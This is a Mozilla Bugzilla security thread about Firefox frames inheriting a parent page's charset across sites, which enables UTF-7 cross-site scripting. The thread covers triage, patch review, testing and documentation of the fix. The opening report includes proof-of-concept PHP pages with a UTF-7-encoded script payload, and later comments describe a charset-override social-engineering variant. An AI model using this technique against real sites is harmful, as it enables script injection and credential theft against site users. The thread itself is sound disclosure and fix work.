Last Comment Bug 356280 - [FIX](i)Frames that do not specify a charset inherit it from parent across sites
: [FIX](i)Frames that do not specify a charset inherit it from parent across sites
Status: VERIFIED FIXED
DOCME! [sg:investigate] XSS against s...
: dev-doc-complete, verified1.8.0.10, verified1.8.1.2
Product: Core
Classification: Components
Component: Security (show other bugs)
: Trunk
: All All
: -- major (vote)
: mozilla1.9alpha1
Assigned To: Boris Zbarsky [:bz] (Out June 25-July 6)
:
Mentors:
Depends on: 366712
Blocks:
  Show dependency treegraph
 
Reported: 2006-10-11 07:24 PDT by Stefan Esser
Modified: 2008-06-26 09:51 PDT (History)
18 users (show)
jaymoz: wanted1.8.1.x+
jaymoz: wanted1.8.0.x+
bzbarsky: in‑testsuite?
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
So something like this (trunk patch) (7.89 KB, patch)
2006-10-11 22:11 PDT, Boris Zbarsky [:bz] (Out June 25-July 6)
jst: review+
jst: superreview+
Details | Diff | Review
utf7 page framing a page with a utf-7 XSS attack (732 bytes, text/html; charset=UTF-7)
2006-12-06 12:57 PST, Daniel Veditz [:dveditz]
no flags Details
Testcase subframe 1 (served as ISO-8859-1) (47 bytes, text/html; charset=ISO-8859-1)
2007-01-11 07:51 PST, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details
Testcase subframe 2 (served with no type from same server) (47 bytes, text/html; charset=)
2007-01-11 07:54 PST, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details
Testcase subframe 3 (served with no type from different server) (47 bytes, text/html; charset=)
2007-01-11 07:55 PST, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details
Testcase, hopefully. Log in to test1.bugzilla.mozilla.org first (1.02 KB, text/html; charset=UTF-7)
2007-01-11 08:01 PST, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details
Updated to comments (7.89 KB, patch)
2007-01-11 19:16 PST, Boris Zbarsky [:bz] (Out June 25-July 6)
dveditz: approval1.8.1.2+
dveditz: approval1.8.0.10+
Details | Diff | Review
Branch build bustage fix (1.65 KB, patch)
2007-02-05 17:24 PST, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details | Diff | Review
More branch bustage fix (1.07 KB, patch)
2007-02-05 17:43 PST, Boris Zbarsky [:bz] (Out June 25-July 6)
no flags Details | Diff | Review

Description Stefan Esser 2006-10-11 07:24:59 PDT
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7

Hi,

I just performed some tests and realised, that the popular believe that
only Internet Explorer can be attacked with UTF-7 is wrong.

It is a know fact that when a website does not send a charset back
Internet Explorer will automatically detect the UTF-7 string within and
set content type to UTF-7 /by default). This might allow cross site
scripting.

It is believed that FireFox in the default configuration does not allow
this because UTF-7 ist NOT automatically detected on pages without
content-type.

However there is a simple trick to make FireFox use UTF-7 for pages
without content-type... (even if auto-detection is switched off)

Imagine the following setup:

*Attacking Server:
test.php*
<?php header("Content-Type: text/html; charset=utf-7"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
   "http://www.w3.org/TR/html4/frameset.dtd">
   <html>
   <head>
   <title>UTF-7 demo</title>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-7">
   </head>
   <body><iframe src="redirect.php"></iframe></body>
</html>

*redirect.php*
<?php
 header("Content-Type: text/html; charset=utf-7"); // not needed
 header("Location:
http://other-server-with-script-that-outputs-content-of-edit/doit.php?edit=+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-");
// redirect.php is only used because it is the easiest way to make
FireFox open an URL and send UTF-7 content as parameter.

*Other Server:*
*doit.php*
<?php header("Content-Type: text/html;charset="); // this broken header
only beause PHP sends charset by default ?>
<html>
<head><title>huhu</title>
</head>
<body>
<?php echo $_SERVER['REQUEST_URI']; ?>
</body>
</html>

In this scenario I am able to trick the Firefox of a user visiting my
website into opening doit.php on a DIFFERENT server. doit.php does not
send a charset and firefox will assume it is the same as my page.
This results in UTF-7 beeing decoded and parsed... And in this case JavaScript is
executed in the context of other server.



Reproducible: Always
Comment 1 Daniel Veditz [:dveditz] 2006-10-11 14:51:02 PDT
I think this is actually covering two independent issues. From the summary
   "(i)Frames that do not specify a charset inherit it from parent"
May or may not be a bug. Is there a spec that covers this case? Probably not, and using the parent charset is a reasonable inference that would tend to make sloppy sites work. We could also justify a strict "no charset == ISO-8859-1" policy, possibly breaking sites but making life easier for site filters.

A second solution would be to completely drop support for UTF-7 in the browser. RFC 2152 says "UTF-7 should only be used with 7 bit transports such as mail. In
other contexts, use of straight Unicode or UTF-8 is preferred."

But we'd still have to support it in e-mail so we might be able to compile it out and have Firefox/Thunderbird work, but SeaMonkey poses additional problems.



Comment 2 Robert O'Callahan (:roc) (Exited; email my personal email if necessary) 2006-10-11 15:57:05 PDT
Is UTF-7 the only charset that causes this kind of problem? I would have thought that forcing any strange charset could cause problems for content filtering. Seems to me that it is the responsibility of "other server" to make sure it sets its own charset, or it can be abused.
Comment 3 Stefan Esser 2006-10-11 16:17:45 PDT
I guess the other browser developers think a little bit different, because Firefox seems to be the only one affected by this bug.

There is no reason why a webpage should be allowed to change the charset of another webpage. (Atleast on other domains). It doesn't matter that this only occurs when the other server/page is not sending a charset. (I am still not convinced that there is not another trick that will allow this even when a charset is set)

Keep in mind that this little "no-charset" problem was also present in google.com not long ago. Luckily for you at that time all people blamed only IE for autoguessing the charset. With the trick described here it would have been trivial to steal google credentials from Firefox users also...

In that case even IE is more secure because it is only affected if you explicitly allow autodetection.

Comment 4 Boris Zbarsky [:bz] (Out June 25-July 6) 2006-10-11 18:29:04 PDT
> using the parent charset is a reasonable inference that would tend to make
> sloppy sites work.

More importantly, without this a lot of non-European sites break.  At least last we checked (a few years ago).

> A second solution would be to completely drop support for UTF-7 in the
> browser.

There's no sane way to make that fly with XULRunner, unless we want random XULRunner apps that need that support packaging the UTF-7 encoder.

I think the right fix is to not use the parent document charset in cross-domain situations, since then there's a good chance that it's not relevant anyway.


Comment 5 Boris Zbarsky [:bz] (Out June 25-July 6) 2006-10-11 22:11:02 PDT
Created attachment 242032 [details] [diff] [review]
So something like this (trunk patch)

Sadly, the bug has no testcase, so I have no idea whether this helps.  Can someone check whether it does?

Also, this will be a bit of fun to merge to branches...  Not terrible, but annoying.
Comment 6 Robert O'Callahan (:roc) (Exited; email my personal email if necessary) 2006-10-12 09:14:18 PDT
That sounds like a good approach.
Comment 7 Simon Montagu :smontagu 2006-10-14 23:32:53 PDT
When comment 3 says that "Firefox is the only one affected by this bug" does that mean the only Gecko-based browser? If so, it seems odd that the fix would be in core code.
Comment 8 Stefan Esser 2006-10-15 02:57:10 PDT
Forgive me my bad expression...

I meant "browsers of the mozilla family" are the only ones affected by this.

Internet Explorer, Opera, Safari do not inherit the charset from the parent.

(I don't have konqueror here to test)
Comment 9 Jungshik Shin 2006-10-15 03:48:02 PDT
(In reply to comment #2)
> Is UTF-7 the only charset that causes this kind of problem? I would have
> thought that forcing any strange charset could cause problems for content
> filtering. 

ISO-2022-JP and related encodings are likely to have a similar issue. 

(In reply to comment #4)
> > using the parent charset is a reasonable inference that would tend to make
> > sloppy sites work.
> 
> More importantly, without this a lot of non-European sites break.  At least
> last we checked (a few years ago).

Probably, it's not non-European sites but sites in languages for which  multiple legacy encodings have been widely used (e.g. Japanese and Russian). I also think that attachment 242032 [details] [diff] [review] is a good compromise. 
Comment 10 Stefan Esser 2006-11-17 03:04:36 PST
Any news?
Comment 11 Boris Zbarsky [:bz] (Out June 25-July 6) 2006-11-17 03:48:47 PST
See comment 5.  I'm not going to commit an untested patch, and this bug has no way to test attached to it, and I haven't the resources to make use of comment 0 (no web server for example).  Need a test set up for this to proceed.
Comment 12 Boris Zbarsky [:bz] (Out June 25-July 6) 2006-12-04 14:52:24 PST
Stefan Esser, if there is a test server I could test this with that you don't want to make public, please feel free to send me the URI in private mail...
Comment 13 Daniel Veditz [:dveditz] 2006-12-06 12:57:34 PST
Created attachment 247715 [details]
utf7 page framing a page with a utf-7 XSS attack

Here's a testcase of a page that is itself UTF-7 framing a page on another site that does not specify a character set. If that page is interpreted as UTF-7 you'll get an alert. There's also a frame pointing at the identical content on a server that sends an ISO-8859-1 charset header (but not my server so subject to change)

I'm not convinced this is more than a minor problem since sites that allow user-generated content to the extent that they're trying to filter things ought to specify the character encoding they think they're filtering in. But if there is such a site then this could be used to create an attack page against users of that site (the victims would have to be lured to your framing page, you couldn't leave it entirely on the target site).
Comment 14 Boris Zbarsky [:bz] (Out June 25-July 6) 2006-12-07 09:46:43 PST
So... I can't reproduce the reported problem with that testcase in a trunk build.
Comment 15 Daniel Veditz [:dveditz] 2007-01-10 21:58:41 PST
Turns out the default charset Bugzilla sends as an HTTP header overrides the <meta> tag in the document; looks like you can override that in the attachment details, though, and then the testcase shows the problem.

Our normal precedence can be seen in the order of the #defines here:
http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/parser/htmlparser/public/nsIParser.h&rev=1.41#91

(In reply to comment #3)
> I guess the other browser developers think a little bit different, because
> Firefox seems to be the only one affected by this bug.

Contrary to this assertion the behavior is exactly the same in both IE7 and Opera -- the frame with the explicit charset is fine, the other shows the xss alert. That makes the proposed fix a lot more scary because there could be a large installed-base relying on this behavior.

> In that case even IE is more secure because it is only affected if you
> explicitly allow autodetection.

Not my experience. It's possible my testcase is for a different case than the one you were describing -- do you have one of your own we could try?
Comment 16 Stefan Esser 2007-01-11 00:33:56 PST
IE7 does introduce this security problem. Yes.

Previous versions of IE unlike Firefox did not have this security bug.

It is unbelievable that two month have passed and there is still no security fix for this.

I will release an advisory during the next days and then we can let the community decide if they consider this a security bug or not.
Comment 17 Jesse Ruderman 2007-01-11 01:24:20 PST
> That makes the proposed fix a lot more scary because there could be a
> large installed-base relying on this behavior.

But if IE6 didn't have this security hole, there can't be *that* many sites relying on charset inheritance.
Comment 18 Stefan Esser 2007-01-11 01:29:54 PST
BTW: I just verified that Opera 9 falls for this problem, too

Opera 8 is not affected
Comment 19 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 04:10:53 PST
> It is unbelievable that two month have passed

Well.  I posted a patch on 2006-10-11, but had no way to test it (as I pointed out then, the bug report doesn't have a link to a page showing the problem or anything).  So about two months were spent waiting for confirmation that this is in fact a problem and creation of a testcase that could be used to test the fix.

I note that you never responded to my requests for a testcase (even just to the point of saying "I have no plans to provide you guys with one, sort it out yourselves").

Comment 20 Jesse Ruderman 2007-01-11 04:17:36 PST
Boris, are you able to reproduce with dveditz' testcase now that he tweaked its content-type?
Comment 21 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 04:23:38 PST
So I tried, and this patch does seem to help that latest testcase.  I'll try to set up a testcase that's completely within bugzilla later today, I guess...
Comment 22 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 04:25:55 PST
Comment on attachment 242032 [details] [diff] [review]
So something like this (trunk patch)

jst, what do you think?

Note about testing this:  Once you have loaded it in a buggy build, we'll cache the last charset we used for this page, as far as I can tell, and use that as the last fallback for the charset.  So to test the fix, clear your cache first.
Comment 23 Stefan Esser 2007-01-11 05:46:42 PST
Boris,

the intial report contains Proof Of Concept Code. In other words a testcase existed from day 0. You only had to copy 3 files from within my bugreport onto a webserver. It is not my duty to provide you with a server and it is also not my duty to react on questions for a testcase when such a testcase was already provided.

So don't blame the inactivity of your security response team on me.
Comment 24 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 07:36:28 PST
Stefan, I have no web server to work with, sorry.  I'm not blaming you for anything, just pointing out why this took so long to happen.

A testcase, in this bug database, is something that can actually be loaded to test the bug, for what it's worth.
Comment 25 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 07:51:35 PST
Created attachment 251181 [details]
Testcase subframe 1 (served as ISO-8859-1)
Comment 26 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 07:53:20 PST
Comment on attachment 251181 [details]
Testcase subframe 1 (served as ISO-8859-1)

Er, this should be served as ISO-8859-1
Comment 27 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 07:54:25 PST
Created attachment 251183 [details]
Testcase subframe 2 (served with no type from same server)
Comment 28 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 07:55:26 PST
Created attachment 251184 [details]
Testcase subframe 3 (served with no type from different server)
Comment 29 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 08:01:40 PST
Created attachment 251186 [details]
Testcase, hopefully.  Log in to test1.bugzilla.mozilla.org first
Comment 30 Johnny Stenback (:jst, jst@mozilla.com) 2007-01-11 12:58:41 PST
Comment on attachment 242032 [details] [diff] [review]
So something like this (trunk patch)

+  // content viewer set up yet, and therefore do not have a usedul

Typo in "useful".

r+sr=jst
Comment 31 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-11 19:16:04 PST
Created attachment 251245 [details] [diff] [review]
Updated to comments

I'll land on the trunk once the tree reopens.
Comment 32 Jay Patel [:jay] 2007-01-12 12:23:56 PST
Let's get this landed on the Trunk for some bake time over the weekend and we can land on the branches next week if things look good.
Comment 33 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-12 19:28:33 PST
Fixed on trunk.  Need multiple-host support in mochitest to land tests.
Comment 34 Jay Patel [:jay] 2007-01-16 14:28:37 PST
Comment on attachment 251245 [details] [diff] [review]
Updated to comments

Approved for both branches, a=jay for drivers.  Please land asap.  Thanks!
Comment 35 Daniel Veditz [:dveditz] 2007-01-16 17:22:02 PST
Comment on attachment 251245 [details] [diff] [review]
Updated to comments

Please do NOT land this on the branches yet -- sorry for any confusion.

We need to better understand why IE7 and Opera 9 switched to mimic our original behavior first.
Comment 36 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-16 17:46:13 PST
Opera 8.54 on Linux on my testcase shows no alerts at all, not even the "SSS" one.  So it doesn't inherit the charset even for same-site pages.  Thus, I would think they made the change for the reasons listed in comment 4 -- sites broke without it.

What behavior did IE6 use to have?
Comment 37 Jesse Ruderman 2007-01-16 22:08:43 PST
> We need to better understand why IE7 and Opera 9 switched to mimic our original
> behavior first.

Has anyone asked the IE / Opera teams?  And/or informed them that it leads to XSS on some sites?

Did the change in IE / Opera affect all framing or only the cross-site case?
Comment 38 Stefan Esser 2007-01-17 00:06:23 PST
The same issue was reported by me to Microsoft several month ago.

At the 16.10. I received an reply, that they received my mail. The e-mail was actually an accusation that I had reported this issue public before having talked to Microsoft, which is amusing, because I do not know a public report about this issue (especially not by me). Additionally I emailed Microsoft a few minutes after I realized that Internet Explorer 7 changed the behaviour. Until that point I did not even know that IE 7 was affected.

Opera on the other hand. One of the people here in the thread said that Opera 9 is affected and I tested it. It turned out that I previously had tested with an Opera 8 installation that does not show this behaviour. I reported this issue to Opera via their security bugtracker but have not gotten any kind of reply.
Comment 39 timeless 2007-01-17 01:01:18 PST
oh great.

so i'm working on a web browser and we've been relying on the only documentation we can find about charset fallback.

that URL is here:
http://www.mozilla.org/projects/intl/uidocs/browsercharmenu.html

if someone has a newer document on the subject, please let me know (and please update the old document to link to it).

If not, given that you're now changing the fallback behavior, I respectfully request that you document it somewhere useful including listing a note about this change.

Specifically had I not seent his bug fly by last night, I'd have pretty much suffered from a frozen UI requirement to implement something which gecko was about to unimplement.
Comment 40 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-17 06:46:48 PST
> Did the change in IE / Opera affect all framing or only the cross-site case?

For Opera, all sites.  See comment 36.

For IE6, I asked someone to test on this testcase, but IE's somehow getting back the "you didn't pick an attachment to view" page from Bugzilla.  Someone who actually has IE6 might need to modify Dan's testcase to run all on a single site so that can be tested.  Or something...

timeless, I'll add documenting this to my to-do list, but it's a lower priority item than crash fixes, security fixes, and layout fixes and regression tests.  Which means I doubt I'll ever get to it.  You may want to just file a bug on the documentation component requesting this documentation...
Comment 41 Daniel Veditz [:dveditz] 2007-01-17 12:33:44 PST
(In reply to comment #39)
> so i'm working on a web browser and we've been relying on the only
> documentation we can find about charset fallback.
> 
> http://www.mozilla.org/projects/intl/uidocs/browsercharmenu.html

That's very old (1999); I'm not sure it describes Mozilla accurately. In particular I think we ended up following the Inheritance behavior described for 4.x, probably because we broke sites.
Comment 42 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-01-17 14:42:40 PST
OK, gavin tested IE6 and IE6 doesn't inherit for same-site pages, just like Opera 8.
Comment 43 Jay Patel [:jay] 2007-02-05 11:44:36 PST
Comment on attachment 251245 [details] [diff] [review]
Updated to comments

Moving approval flags out to 1.8.1.3/1.8.0.11.  We need to decide what we want to do with this bug for next time.
Comment 44 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-02-05 12:41:20 PST
Um...  So what are "we" deciding and who is the "we"?  What other information are you looking for?  Or just more trunk baking time?

I'm pretty certain that we should take this on branch, for what it's worth...
Comment 45 Jay Patel [:jay] 2007-02-05 12:51:52 PST
bz:  We = everyone in this bug... and it sounded like we were not sure which behavior we wanted to have with 2.0.0.2 (given the behavior of older versions of Opera 8/IE6 vs the latest Opera 9/IE7). 

If we are sure this patch is what we want, then let's try to get this in.

Dveditz:  Who should make the call on this one? 

Comment 46 Daniel Veditz [:dveditz] 2007-02-05 16:32:41 PST
Comment on attachment 251245 [details] [diff] [review]
Updated to comments

we've not gotten responses from MS or Opera. Damn the torpedoes let's do this. a=dveditz for 1.8/1.8.1 branches

Without the patch our users are vulnerable. With the patch some sites look bad. Wish we knew how many of each there were going to be :-(
Comment 47 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-02-05 16:56:29 PST
Fixed on branches.
Comment 48 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-02-05 17:24:02 PST
Created attachment 254100 [details] [diff] [review]
Branch build bustage fix
Comment 49 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-02-05 17:43:07 PST
Created attachment 254101 [details] [diff] [review]
More branch bustage fix
Comment 50 Martijn Wargers [:mwargers] (not working for Mozilla) 2007-02-07 16:24:25 PST
Verified fixed on trunk, using the "Testcase, hopefully. Log in to test1.bugzilla.mozilla.org first" testcase.
I can see the XSS alert with the 2007-01-12 build, but not anymore with the 2007-01-13 build.

Also verified fixed that the testcase doesn't show the XSS alert, using the latest branch builds.
Comment 51 Eric Shepherd [:sheppy] 2007-10-11 08:36:53 PDT
Before I write this up, I'd like to double-check my (very quick) reading of the code:

This patch appears to me to adjust things so that the parent's charset can only be inherited if the frame and parent were loaded from the site origin.  Correct, or no?
Comment 52 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-10-11 15:18:21 PDT
Yes, with s/site/same/.
Comment 53 Eric Shepherd [:sheppy] 2007-10-11 17:19:08 PDT
This is now documented on both the Fx3 for developers page and the page on updating sites for Firefox 3.  Marking as documentation complete, since we do not presently have our own docs for frames or iframes.

Thanks for confirming my read of the code, Boris (and pointing out my typo ;).
Comment 54 Paul Szabo 2007-12-01 12:16:25 PST
I found that Firefox 2.0.0.10 will inherit the charset of the parent
page, when that had been selected manually (does not inherit the charset
specified in headers or meta). I found this inheritance to work both
with [a href] links and [iframe src] in the parent page.

There are still many Apache sites that allow UTF-7 XSS and do not set
explicit charset: see CVE-2007-4465.
Comment 55 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-12-01 15:28:22 PST
> when that had been selected manually 

Charset overrides are applied to the entire frame tree, yes.
Comment 56 Jesse Ruderman 2007-12-01 15:53:30 PST
So I can XSS by having a hidden iframe, making my page "look broken", and asking users to override the charset to UTF-7 to "unbreak" it?  :/
Comment 57 Paul Szabo 2007-12-02 03:19:34 PST
> So I can XSS by ...

Yes, exactly. That was going to be my "example" if I was asked
to demonstrate this is unsafe.

This "charset override applies to entire frame tree" seems to contradict
the earlier statement of "parent's charset can only be inherited if the
frame and parent were loaded from the same origin".
Comment 58 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-12-02 09:42:23 PST
We can try to change the override behavior, but the issue then is that there will be no way to apply the override to a subframe.

Of course if you allow things like "ask users to X", I suspect we have all sorts of XSS vectors (drag and drop, etc, etc).
Comment 59 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-12-02 10:49:16 PST
By the way, of more concern to me is whether the page can affect the default docshell charset (e.g. by doing a window.open from a UTF8 page).  That seems like a much more serious situation, if it works...  Can someone test?
Comment 60 Paul Szabo 2007-12-02 13:07:52 PST
> ... there will be no way to apply the override to a subframe.

There should be no way to affect a subframe that is not "ours" (same origin).
I do not know what is the best way to handle "our" subframes: I guess let the
override propagate. The override/inherit code should first check whether we
are same-origin, and quit (not do anything) unless so.
Comment 61 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-12-02 13:21:43 PST
That doesn't address the concern I raised.
Comment 62 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-12-02 13:23:12 PST
In any case, this discussion belongs in a separate bug, with some UI folks cced.
Comment 63 Paul Szabo 2007-12-02 13:41:05 PST
> That doesn't address the concern I raised.

No, I did not reply to your window.open query: I do not know whether anything
would affect, and do not think I would know how to test with any confidence.
I only replied to your "apply override to a subframe" comment.

> ... separate bug, with some UI folks cced.

Make it into a separate bug if you wish, do not have a preference either way.
However, please do not let the UI people "in": this is a security issue. Make
sure no "foreign" subframes/windows/anything can be affected. Only ask the UI
people what to do with "our" subframes: but there is no issue there, leave it
as is now.
Comment 64 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-12-02 13:43:41 PST
> However, please do not let the UI people "in": this is a security issue.

The fix for the security issue would break the UI.  Therefore they need to be in on the discussion about how to best fix the security issue while changing the UI at the same time so it continues to work.

> what to do with "our" subframes:

Note that whether a subframe is "our" is not an immutable value.  It can change.
Comment 65 Paul Szabo 2007-12-03 20:38:23 PST
I now see that Firefox (tested on Debian etch) makes iframes inherit the
charset of the parent, even when the frame defines its own. So this is
really buggy... and allows XSS against practically any target.
Comment 66 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-12-03 21:59:50 PST
This is still about the charset override, yes?  The charset override... overrides the charset.  That's what it's supposed to do.  Again, that's a separate issue from this bug.
Comment 67 Paul Szabo 2007-12-04 03:24:41 PST
Please see message
http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/058814.html
and demo
http://www.maths.usyd.edu.au/u/psz/ff-utf7-uxss.html

Whether this is all "this same" bug or something else, I wouldn't know;
please make it into new bug anytime if you wish.
Comment 68 Boris Zbarsky [:bz] (Out June 25-July 6) 2007-12-04 07:15:07 PST
I'm not sure why you expect someone else to do the work for you, but I filed bug 406777.

Note You need to log in before you can comment on or make changes to this bug.